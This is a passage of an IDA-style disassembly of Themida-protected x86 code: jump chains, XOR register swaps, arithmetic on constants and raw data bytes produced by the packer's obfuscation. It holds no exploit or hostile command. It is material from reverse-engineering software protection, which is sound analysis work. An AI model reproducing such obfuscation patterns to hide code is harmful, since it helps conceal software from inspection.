		dd 0C7815C24h, 4, 0E902C783h, 0FFFFD568h, 5EAC14Ah, 5C0ABD55h
		dd 0E5C16E63h, 0FCD5E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5508E2:				; CODE XREF: Themida_:00552C41j
		xor	[esp], ebx
		jmp	loc_54ECFA
; ---------------------------------------------------------------------------

loc_5508EA:				; CODE XREF: Themida_:0054F935j
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		push	ebx
		push	200Dh
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_54F94B
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 240C8924h, 0FFFAF0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55090D:				; CODE XREF: Themida_:00551227j
		sub	edx, 4
		jmp	loc_55199D
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 4Bh
		dd 8177615Ch, 0A60F13C5h, 6BF58145h, 31AFD027h,	4AE95DEAh
		dd 80FFFFF6h, 0E98054F7h, 0E9F928F6h, 0FFFFB74Bh, 8858C588h
		dd 0FE64E9EFh, 565DFFFFh, 0E26C6FBEh, 4B85062h,	52D1912h
		dd 35C95A67h, 34FFC629h, 0C4835824h, 0E9F50104h, 0FFFF96EBh
; ---------------------------------------------------------------------------

loc_550968:				; CODE XREF: Themida_:00549FE9j
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_54B6D6
; ---------------------------------------------------------------------------

loc_550978:				; CODE XREF: Themida_:0054EAE9j
		xor	ebx, 6C362476h
		dec	ebx
		jmp	loc_549883
; ---------------------------------------------------------------------------
		dd 0FF656BE9h, 148B66FFh, 2C48324h, 0A0C18166h,	0D1016653h
		dd 0A0E98166h, 148B6653h, 55C06824h, 4890000h, 55E08924h
		dd 4C7EE1BDh, 0E9D5F76Ch, 0FFFFEA17h, 315E5B56h, 791E9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5509C2:				; CODE XREF: Themida_:0054C1E0j
		add	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		or	[esp], ax
		pushf
		jmp	loc_551A64
; ---------------------------------------------------------------------------

loc_5509DE:				; CODE XREF: Themida_:0054B093j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_54B6F3
; ---------------------------------------------------------------------------
		db 29h,	4, 24h
		dd 8124048Bh, 4C4h, 7B773500h, 0E0C12EB9h, 5C012D07h, 0C329E14Bh
		dd 0FFA880E9h, 81EA01FFh, 224AE6EAh, 242C8B1Ch,	4C481h
		dd 0D5E90000h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550A1F:				; CODE XREF: Themida_:005498E9j
		push	dword ptr [esp]
		jmp	loc_54ABB7
; ---------------------------------------------------------------------------
		db 80h
		dd 0B652FFC1h, 0F000E900h, 5A55FFFFh, 0FFAA18E9h, 48B66FFh
		dd 0BC97E924h, 4BEFFFFh, 1000000h, 0C1E95EF7h, 81000022h
		dd 5268B6C2h, 0D8BE5651h, 109D008h, 90CFE9F2h, 0D0F7FFFFh
		dd 0D539290Dh, 35D0F73Ah, 151F0988h, 48BC589h, 4C48324h
		dd 5D21C781h, 0EF01124Eh, 5D21EF81h, 0E95D124Eh, 0FFFF8176h
		dd 6624248Bh, 52C8BE0Fh, 0BE565A54h, 4,	3FD9C281h, 0F2013775h
		dd 799FBF57h, 0DFF77426h, 0FF8D5CE9h, 5DEF89FFh, 0BFE9F989h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550ABB:				; CODE XREF: Themida_:0054CC02j
		pop	esp
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_54845F
; ---------------------------------------------------------------------------

loc_550AC6:				; CODE XREF: Themida_:0054A0BCj
		pop	eax
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		or	eax, eax
		jnz	loc_54EE7A
		push	1
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		push	ecx
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		jmp	loc_54F239
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0B60F5804h, 8734FFC0h, 81E78957h, 4C7h, 0AAC0E900h
		dd 815EFFFFh, 4C6h, 11BF5700h, 4F1FA41Ch, 52FFEF83h, 0FFE858E9h
		dd 24048FFFh, 4240481h,	0E9000000h, 0FFFF848Fh,	0E6808EB6h
		dd 7FF6805Bh, 83E9F388h, 0F6FFFFD6h, 0D2C580D5h, 0C8BE830h
		dd 4C48124h, 66000000h,	51665351h, 0EF888CB5h, 240C8B66h
		dd 2C481h, 0D7F60000h, 0FF6DDAE9h, 0A6E95CFFh, 8B000008h
		dd 0C481243Ch, 4, 2474FF52h, 48F5A04h, 91D8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550B96:				; CODE XREF: Themida_:00547198j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_547B88
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 0E1EE8104h, 10D74ABh, 3C875EF7h, 24248B24h, 9C240401h
		dd 0FF6337E9h, 7E7C1FFh, 4033E781h, 0C7816A1Eh,	8DE1C004h
		dd 0FF9F64E9h, 8BB604FFh, 0C483240Ch, 52D82804h, 0E280FDB2h
		dd 0E258E9D3h, 0C483FFFFh, 4C28104h, 83000000h,	48904ECh
		dd 2B824h, 0C2010000h, 24143358h, 1D16E9h, 0BA525800h
		dd 4, 92E9D101h, 5CFFFF86h, 0E904EC83h,	0FFFFE5C0h, 24048B66h
		dd 80E68h, 24348900h, 0BB535E54h, 4, 555BDE01h,	0FF9ABFE9h
		dd 0B5BB53FFh, 0F744952Ch, 68DBF7D3h, 19B7h, 0BA241489h
		dd 21814910h, 68EBE955h, 83ADFFFFh, 0E900207Fh,	1381h
; ---------------------------------------------------------------------------

loc_550C60:				; CODE XREF: Themida_:00552926j
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	edx
		jmp	loc_55121F
; ---------------------------------------------------------------------------
		dw 0EE89h
		dd 13E9585Dh, 89FFFFBFh, 3BE92434h
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550C87:				; CODE XREF: Themida_:00550C9Dj
		sub	esp, 4
		jmp	loc_54A04B
; ---------------------------------------------------------------------------

loc_550C8F:				; CODE XREF: Themida_:0054A964j
		mov	[esp], edi
		jmp	loc_54E464
; ---------------------------------------------------------------------------

loc_550C97:				; CODE XREF: Themida_:0054C94Dj
		add	esp, 4
		mov	edi, [esp]
		jmp	loc_550C87
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0E95A5424h, 1F4Dh, 8108EAC1h, 0BB66D4C2h, 9893E979h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550CBA:				; CODE XREF: Themida_:00551B5Cj
		mov	eax, [esp]
		add	esp, 4
		add	eax, 3466471Ch
		jmp	loc_54D2FC
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 8B5B3389h, 0C4832434h, 20685304h, 0E9000044h, 0FFFFDD57h
		dd 9CC88566h, 0FF620BE9h, 242489FFh, 0FFAAAEE9h, 55C62DFFh
		dd 0D0010FBFh, 0BF55C605h, 0EC835A0Fh, 240C8904h, 0FFF145E9h
		dd 5EF201FFh, 0DA9EE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550D12:				; CODE XREF: Themida_:0054F3BEj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		and	eax, edi
		jmp	loc_549FE0
; ---------------------------------------------------------------------------

loc_550D2F:				; CODE XREF: Themida_:005473BEj
		sub	al, 3Eh
		add	al, dh
		add	al, 3Eh
		pop	edx
		add	bl, 5
		add	bl, 0A9h
		sub	bl, 7Fh
		sub	bl, al
		jmp	loc_54802B
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 5D5324E2h, 93C28164h, 29111A0Eh, 0DEF75AD6h,	0BD02E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550D5E:				; CODE XREF: Themida_:00549FCFj
		sub	esp, 4
		mov	[esp], edx
		push	edi
		push	edx
		mov	edx, 2F3E6AD1h
		jmp	loc_548B70
; ---------------------------------------------------------------------------

loc_550D73:				; CODE XREF: Themida_:00549135j
		xor	edi, 52652089h
		xor	edi, 61231B46h
		shr	edi, 3
		shr	edi, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 55FF1207h
		shr	ecx, 8
		jmp	loc_548AF7
; ---------------------------------------------------------------------------

loc_550D9B:				; CODE XREF: Themida_:005513CFj
		xchg	eax, ebp
		push	ebp
		jmp	loc_54D2D3
; ---------------------------------------------------------------------------
aUAsc		db 'U½s–',0
aSsc		db 'º™s–',0
		db 0E9h, 0Dh, 0C9h
		dd 0E0C1FFFFh, 50B95102h, 29D3019Fh, 4DE959C8h,	5CFFFFACh
		dd 54242C89h, 45BE565Dh, 834C8F64h, 0E94EFFEEh,	0FFFF7FA2h
		dd 35C180h, 6999E9CBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550DE2:				; CODE XREF: Themida_:0054F978j
		push	dword ptr [esp]
		jmp	loc_54C9B8
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 9C4EA0FCh, 78E9EA01h, 89FFFFB9h, 0FB8953C7h,	24348153h
		dd 24A80219h, 8324148Bh, 0F28104C4h, 24A80219h,	0E9241C8Bh
		dd 0FFFF7F27h, 24ED815Eh, 175B00Dh, 24C581DDh, 8175B00Dh
		dd 201426EDh, 0BE2E91Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550E32:				; CODE XREF: Themida_:005515B6j
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_54C757
; ---------------------------------------------------------------------------

loc_550E3F:				; CODE XREF: Themida_:0054AA78j
		sub	esi, 0F04608Ah
		add	esi, 102A2EE4h
		mov	edx, esi
		push	dword ptr [esp]
		jmp	loc_54C7CF
; ---------------------------------------------------------------------------

loc_550E55:				; CODE XREF: Themida_:00547B96j
		mov	[esp], ecx
		jmp	loc_54E095
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 5E08950h, 4,	5004C083h, 42474FFh, 24048F58h,	2C2815Ch
		dd 33000000h, 14312414h, 7D74E924h, 0E981FFFFh,	2B2910B2h
		dd 0B7C8E955h, 0F508FFFFh, 0FFBFF5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550E99:				; CODE XREF: Themida_:00548FFCj
		sub	bl, 0F1h
		jmp	loc_551503
; ---------------------------------------------------------------------------

loc_550EA1:				; CODE XREF: Themida_:005474BEj
		mov	ecx, ebp
		pop	ebp
		add	edx, 1D2F5E8Fh
		jmp	loc_54A3EB
; ---------------------------------------------------------------------------

loc_550EAF:				; CODE XREF: Themida_:00546F56j
		push	edi
		mov	edi, esp
		jmp	loc_5514A4
; ---------------------------------------------------------------------------
		db 1
		dd 24148BD7h, 5704C483h, 42474FFh, 81243C8Bh, 4C4h, 24048F00h
		dd 0E924248Bh, 0FFFF8F84h, 8B66C828h, 33E9240Ch, 89FFFF64h
		dd 7CE9243Ch
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550EEB:				; CODE XREF: Themida_:00547613j
					; Themida_:0054C19Fj
		push	72DEh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_54EBA5
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 14A0747Ah, 58C73158h, 875FF901h, 665C240Ch, 6824048Bh
		dd 2AA4h, 54241489h, 4C2815Ah, 68000000h, 4F2Eh, 0FFC4DAE9h
		dd 48B66FFh, 4EC8324h, 0FFEFECE9h, 758BBFFFh, 0E7D15B05h
		dd 0D7F7DFF7h, 0C103EFC1h, 0EF8103EFh, 2D82BAAh, 0FF8B62E9h
		dd 0DB2BFFFh, 82E9046Ah, 8BFFFF7Eh, 0ACE92404h,	66FFFF92h
		dd 83240C8Bh, 0C4E904ECh
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_550F7B:				; CODE XREF: Themida_:005514B4j
		mov	[esp], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, 63D93720h
		add	esi, ebx
		push	edx
		push	eax
		mov	eax, 2C6C51C9h
		mov	edx, 0E3951F89h
		add	edx, eax
		jmp	loc_547E00
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 4
		dd 87000000h, 8EE9241Ch, 81000002h, 0D042DAE6h,	4EEC100h
		dd 3F52BB53h, 0BA521DE4h, 51A96EF3h, 8101C283h,	8B7DF4F2h
		dd 8BD32919h, 54502414h, 8324048Bh, 40504C4h, 0E9000000h
		dd 0FFFFE6F6h, 0F703E2C1h, 0F5EA81D2h, 89438B5Ah, 0B8505AD7h
		dd 31E5732h, 0E940D0F7h, 0FFFF6936h, 4C481h, 0F3280000h
		dd 0E9525A66h, 1197h
; ---------------------------------------------------------------------------

loc_551018:				; CODE XREF: Themida_:0055222Bj
		not	ecx
		xchg	eax, ecx
		xchg	eax, edx
		jmp	loc_54AC6E
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 242C8B04h, 53E68956h, 180C2DBBh, 0D7C38116h,	1E9E7F3h
		dd 0C6835BDEh, 24348704h, 24048F5Ch, 2434FF5Ch,	81240C8Bh
		dd 4C4h, 0BE72E900h, 835AFFFFh,	43304C4h, 24043124h, 5C240433h
		dd 0FFC520E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551069:				; CODE XREF: Themida_:0054DA2Cj
		mov	ebp, edx
		pop	edx
		push	edx
		mov	edx, ebp
		jmp	loc_54B037
; ---------------------------------------------------------------------------
		dd 2434875Dh, 1036E9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 1AFE30A0h
		shr	edx, 4
		add	edx, 7B58016Eh
		add	edx, 82F81B8Ch
		add	ebp, edx
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 48226865h
		sub	eax, edx
		mov	edx, [esp]
		jmp	loc_546F9E
; ---------------------------------------------------------------------------
		dw 0E828h
		dd 6851A204h, 7F22h, 0B7241C89h, 0E969B5CEh, 0FFFFC555h
		dd 1C517AB9h, 59C8297Dh, 0B202552Dh, 5D80130h, 30B20255h
		dd 0FF8664E9h, 24148BFFh, 1EBA6857h, 0E9540000h, 0FFFF883Ch
; ---------------------------------------------------------------------------

loc_5510F4:				; CODE XREF: Themida_:0054CC3Bj
		pop	edx
		push	741Ch
		mov	[esp], esi
		mov	esi, esp
		push	eax
		mov	eax, 4
		jmp	loc_5513A7
; ---------------------------------------------------------------------------
		dw 0E0D1h
		dd 136BE9h
		db 0
; ---------------------------------------------------------------------------

loc_551111:				; CODE XREF: Themida_:0054A96Ej
		push	edi
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		jmp	loc_54E0D4
; ---------------------------------------------------------------------------
		dw 5156h
		dd 92796368h, 0C060E97Eh, 1C2DFFFFh, 0E927403Eh, 4B4h
; ---------------------------------------------------------------------------

loc_551134:				; CODE XREF: Themida_:0055055Dj
		sub	cl, 51h
		sub	dh, cl
		jmp	loc_552138
; ---------------------------------------------------------------------------

loc_55113E:				; CODE XREF: Themida_:0054E73Cj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_55046F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 5BDD0104h, 31242C33h, 5BE9242Ch,	83000000h
		dd 0F78004C4h, 40B652BBh, 0EE80CEFEh, 5AF02845h, 0FF9C18E9h
		dd 240C89FFh, 0FF68ADE9h, 0D8E9C3FFh, 8300000Bh, 1C8904ECh
		dd 9565BB24h, 0DF29C5CBh, 9B7EE95Bh, 0D14FFFFFh, 0ADEF81E7h
		dd 0C14FF74Eh, 0EF8103E7h, 0B8BE0D4h, 875FFE01h, 24E92434h
		db 76h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5511BB:				; CODE XREF: Themida_:0054F116j
		pop	ecx
		push	edx
		jmp	loc_54BE29
; ---------------------------------------------------------------------------
		dw 2C33h
		dd 0FF665C24h, 0E99C240Ch, 0FFFF5D24h, 6AC5A12Dh, 14C581FFh
		dd 811D937Fh, 1739DEDh,	81C50112h, 1739DC5h, 14B95112h
		dd 291D937Fh, 48B59CDh,	4C48124h, 83000000h, 2C3302C5h
		dd 242C3124h, 0FFE236E9h, 68F681FFh, 0E9516E42h, 0FFFFA0CEh
		dd 57ED2D5Ah, 84E929A9h
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55121F:				; CODE XREF: Themida_:00550C71j
		mov	edx, esp
		add	edx, 4
		jmp	loc_55090D
; ---------------------------------------------------------------------------
		dd 0E281585Dh, 26033F51h, 119AF281h, 0E2814B4Fh, 5B8858D4h
		dd 0FFE30FE9h, 14895CFFh, 81E28924h, 4ECh, 7595E900h, 0F130FFFFh
		dd 0FF63D0E9h, 0E9CE00FFh, 61h,	8306E5C1h, 0F58101EDh
		dd 541712Ah, 1947E950h,	0D0010000h, 9863C82Dh, 0E9575A25h
		dd 0FFFFC56Eh, 67CFE981h, 0CF292D9Bh, 2DEF8159h, 50291101h
		dd 0C689F889h, 24E95F58h, 29FFFFF4h, 58F2DF8h, 0E1E91ED4h
		dd 0FFFFFFB8h, 50592434h, 4055854h, 83000000h, 0BCE904E8h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5512BF:				; CODE XREF: Themida_:00547041j
		push	ebx
		jmp	loc_54834A
; ---------------------------------------------------------------------------
		db 59h,	28h, 0F0h
		dd 8324148Bh, 0EC8104C4h, 4, 0E9240C89h, 0FFFF88FBh
; ---------------------------------------------------------------------------

loc_5512DC:				; CODE XREF: Themida_:005487C3j
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_549187
; ---------------------------------------------------------------------------
		dd offset dword_4CEBCC+9B4h
		dd 111CE9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5512F2:				; CODE XREF: Themida_:005515CCj
		mov	cl, 42h
		not	cl
		not	cl
		push	eax
		mov	al, 2Ch
		jmp	loc_550554
; ---------------------------------------------------------------------------
		dd 4BAh, 0E9D30100h, 0FFFFAFAEh, 0B122E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551312:				; CODE XREF: Themida_:005521C4j
		mov	[esp], ebp
		mov	ebp, 32F47384h
		add	dword ptr [esp+4], 9594DAAh
		add	[esp+4], ebp
		sub	dword ptr [esp+4], 9594DAAh
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		push	edx
		push	7C2114DDh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54998D
; ---------------------------------------------------------------------------
		db 89h,	0F7h, 5Eh
		dd 0F75FF931h, 0A2F181D1h, 833EB41Fh, 0E981FFC1h, 9D5EBDB5h
		dd 0E959CB01h, 0FFFFAD12h, 87F1295Ah, 0C14E59CEh, 964606E6h
		dd 0FF7611E9h, 5BFC88FFh, 0FFD310E9h, 4C481FFh,	28000000h
		dd 0E9535AF0h, 0FFFF8968h
; ---------------------------------------------------------------------------

loc_551390:				; CODE XREF: Themida_:0054E940j
		jz	loc_5475DE
		push	eax
		push	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		jmp	loc_548512
; ---------------------------------------------------------------------------

loc_5513A7:				; CODE XREF: Themida_:00551105j
		add	esi, 6EF95FA6h
		jmp	loc_54CC13
; ---------------------------------------------------------------------------

loc_5513B2:				; CODE XREF: Themida_:0054C83Bj
		sub	edx, 23192E38h
		push	ebx
		jmp	loc_54B7A8
; ---------------------------------------------------------------------------

loc_5513BE:				; CODE XREF: Themida_:0054F5C2j
		push	ecx
		mov	ecx, edx
		mov	ebx, ecx
		pop	ecx
		jmp	loc_552002
; ---------------------------------------------------------------------------

loc_5513C9:				; CODE XREF: Themida_:00547F32j
		pop	edx
		shr	eax, 0Eh
		xor	eax, ecx
		jmp	loc_550D9B
; ---------------------------------------------------------------------------
		dd 0A952E959h, 8B66FFFFh
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_547BBC
; ---------------------------------------------------------------------------
		dd 8001ED80h, 0F58015CDh, 59EE30A0h, 758B6850h,	0EE90000h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551403:				; CODE XREF: Themida_:0054AA59j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 278C5324h
		sub	edi, 61C535D5h
		not	edi
		jmp	loc_54A013
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 0FFB485E9h, 0F1F766FFh, 4B376866h, 24148966h, 0E99C5066h
		dd 0FFFF5ABCh, 24C4EF81h, 0C7816B50h, 33565FEDh, 5124348Bh
		dd 0C181E189h, 4, 4C181h, 0C870000h, 3C875C24h,	9D32E924h
		dd 489FFFFh, 5A8AE924h,	0E95BFFFFh, 0FFFFE0A6h,	0C281E289h
		dd 4, 785EBF57h, 0ACE90A18h
		db 0C4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551483:				; CODE XREF: Themida_:00548FF5j
		pop	esp
		push	2172h
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_54C37D
; ---------------------------------------------------------------------------

loc_551497:				; CODE XREF: Themida_:00549386j
		mov	edi, esi
		sub	esp, 4
		jmp	loc_5471D4
; ---------------------------------------------------------------------------

loc_5514A4:				; CODE XREF: Themida_:00550EB2j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp

loc_5514B1:				; CODE XREF: Themida_:0054BCE0j
		sub	esp, 4
		jmp	loc_550F7B
; ---------------------------------------------------------------------------
		db 50h,	0B4h, 7Dh
		dd 518BF480h, 0E1C053B1h, 91F18003h, 0FE04E9C0h, 80C1FEC1h
		dd 0CC3085F1h, 0FACE959h, 89500000h, 405E0h, 0C0830000h
		dd 24048702h, 0E3C1665Ch, 965AE904h, 48BFFFFh, 0A14FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5514FA:				; CODE XREF: Themida_:0054E4FFj
		xchg	edx, ebp
		xor	eax, ebp
		jmp	loc_54E6AD
; ---------------------------------------------------------------------------

loc_551503:				; CODE XREF: Themida_:00550E9Cj
		pop	dx
		pop	dx
		push	edx
		push	eax
		mov	ah, 0BFh
		jmp	loc_550138
; ---------------------------------------------------------------------------
		dd 2474FF51h, 240C8B04h, 4C481h, 48F0000h, 68665C24h, 896674FCh
		dd 0B450240Ch, 0D2F48004h, 8840C480h, 0EC8158E1h, 4, 0B7241C89h
		dd 47EF80C3h, 0E5E95166h, 25FFFFBDh, 1B3B4AB2h,	18023635h
		dd 0A321E918h, 34FFFFFFh, 241C8B24h, 0E9E18951h, 0FFFFCB54h
		dd 0C8B60F66h, 0E99C5166h, 0FFFF5980h, 809EEB80h, 76E901C3h
		dd 0FFFFFFB2h, 669D1C77h, 24041058h, 5966E99Ch,	8F5CFFFFh
		dd 248B2404h, 9CC88424h, 0FF5957E9h, 247431FFh,	24348B04h
		dd 4C481h, 0FDE90000h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5515AF:				; CODE XREF: Themida_:0054A04Ej
		mov	eax, esp
		add	eax, 4
		jmp	loc_550E32
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0D3662424h, 0E99C2424h, 0FFFF592Ch
; ---------------------------------------------------------------------------

loc_5515C8:				; CODE XREF: Themida_:00549B2Cj
		xor	dh, 2Ch
		push	ecx
		jmp	loc_5512F2
; ---------------------------------------------------------------------------
		db 68h,	0C3h, 30h
		dd 4890000h, 892AE924h,	0A6BFFFFFh, 0E97B7B74h,	0FFFFEA31h
		dd 81C8295Dh, 4ECh, 241C8900h, 0FF29C5BBh, 0A7C38162h
		dd 0E940FA0Fh, 0FFFFBC1Dh, 9D1C77FFh, 11665866h, 0E99C2404h
		dd 0FFFF58E0h, 15F968h,	24348900h, 2BEh, 0C1C78100h, 171AA7Eh
		dd 94E3E9F7h, 2DADFFFFh, 67CF3F41h, 72D6BB53h, 0BA521C29h
		dd 558F1C8Ah, 33C2814Ah, 1EB191Dh, 0D8295AD0h, 39BCBB53h
		dd 0D82940A8h, 0E5F1E95Bh, 0CA81FFFFh, 1FE97148h, 0DB1F281h
		dd 0D1310163h, 8124148Bh, 4C4h,	4C18100h, 1F2CC95h, 0FF5259CAh
		dd 5A042474h, 5C24048Fh, 9C2404FFh, 0FF5867E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55168D:				; CODE XREF: Themida_:0054D55Fj
		mov	[esp], eax
		jmp	loc_54AF2A
; ---------------------------------------------------------------------------
		db 0ACh, 4, 0EDh
		dd 47E9722Ch, 0F6FFFFECh, 2CEC80D4h, 801ACC80h,	0E3008BECh
		dd 0FF8176E9h, 50E689FFh, 4B8h,	58C60100h, 0FFA759E9h
		dd 241489FFh, 0FFC408E9h, 241C8BFFh, 0FF04C483h, 0E9582434h
		dd 0FFFFF9A5h, 50243489h, 30FCBB53h, 5C015B5Ah,	0D8E90424h
		dd 66FFFF5Ch, 8950E9F7h, 0EDF6E9E0h, 4CB8FFFFh,	5150E33Eh
		dd 0FF9954E9h, 24248BFFh, 0FFC82BE9h, 665566FFh, 664B9ABDh
		dd 5D66EB01h, 1BC38166h, 0C329666Ah, 1BEB8166h,	0ADE9516Ah
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551727:				; CODE XREF: Themida_:00552238j
		shr	ebx, 3
		neg	ebx
		sub	esp, 4
		jmp	loc_54810E
; ---------------------------------------------------------------------------
		dd 36E9CF01h, 80FFFFDFh, 0E2C61EDh, 0E828682Ch,	0E912B652h
		dd 0FFFFE95Bh, 2922BB53h, 0B85034CCh, 18A86ECDh, 0D37F0105h
		dd 68D0F75Ah, 0
		dd 0FFF280E9h, 240C8BFFh, 0E9E68956h, 0FFFFB233h, 0E1895159h
		dd 0ECDBB53h, 0EB810C8Ah, 0C8A0EC9h, 835BD901h,	0C8704E9h
		dd 3C895C24h, 0AB2BF24h, 5FE95F04h, 8100000Fh, 0A97483EFh
		dd 81D70116h, 0A97483C7h, 1310E916h, 0C8B0000h,	4C48324h
		dd 0FFEC26E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5517B9:				; CODE XREF: Themida_:00551E27j
		mov	ah, 0B6h
		jmp	loc_54BB40
; ---------------------------------------------------------------------------
		dd 5FCF6866h, 0FFE76EE9h, 4EC81FFh, 89000000h, 74FF2404h
		dd 48B0424h, 4C48324h, 8B24048Fh, 24D22424h, 9E99C24h
		dd 83FFFF57h, 148904ECh, 51E28924h, 0FFC5EBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5517F9:				; CODE XREF: Themida_:0054CF12j
		mov	ah, 8Eh
		mov	cl, 2Eh
		sub	cl, 0B3h
		sub	cl, ah
		add	cl, 0B3h
		pop	eax
		sub	dh, cl
		pop	cx
		jmp	loc_54B098
; ---------------------------------------------------------------------------
		db 68h
		dd 0F41h, 50242C89h, 0FF874CE9h, 0E78957FFh, 0FF6ECEE9h
		dd 4C481FFh, 81000000h,	0C6D12DEBh, 8BDE311Dh, 0C481241Ch
		dd 4, 348BF331h, 4C48124h, 81000000h, 0BE7FD9CBh, 1E3814Dh
		dd 0E91B0A62h, 0FFFF6C63h, 815EF329h, 0D651BDC3h, 0EB815A09h
		dd 0FDF4E5B2h, 0FF5830E9h, 72E781FFh, 81774316h, 0C1BC16EFh
		dd 5FFD29D5h, 0F409F581h, 0E9521C23h, 0FFFFF1AAh
; ---------------------------------------------------------------------------

loc_551888:				; CODE XREF: Themida_:0054C5B2j
		mov	[esp], ebp
		mov	ebp, 49957FD7h
		or	ebx, ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_549160
; ---------------------------------------------------------------------------

loc_55189D:				; CODE XREF: Themida_:0054A84Aj
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 6A655449h
		dec	eax
		add	eax, 6E2B4EC3h
		xor	eax, 0D890A30Fh
		add	edi, eax
		jmp	loc_54748A
; ---------------------------------------------------------------------------
		db 5Fh
		dd 2BDE95Ah, 0D8010000h, 8E8C15Bh, 9103E0C1h, 2D91D1F7h
		dd 0CF58FC44h, 0FFFE73E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5518D9:				; CODE XREF: Themida_:005519ACj
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_54CAE1
		push	ebx
		mov	ebx, 79D9356Ch
		or	ebx, 70B421A1h
		add	ebx, 8602CA14h
		jmp	loc_54E0E2
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0FF594FE9h, 12DFFh, 7B0D0000h, 0E97FF053h, 0FFFF88C0h
		dd 4716E681h, 0EE812C63h, 2C630412h, 38BB53h, 0A3E90000h
		dd 5EFFFFF3h, 3BD5558h,	814CE676h, 6F3449CDh, 0F7554D29h
		dd 815D2414h, 80F616C5h, 0A3CAE9B9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551946:				; CODE XREF: Themida_:0054FB05j
		pop	edi
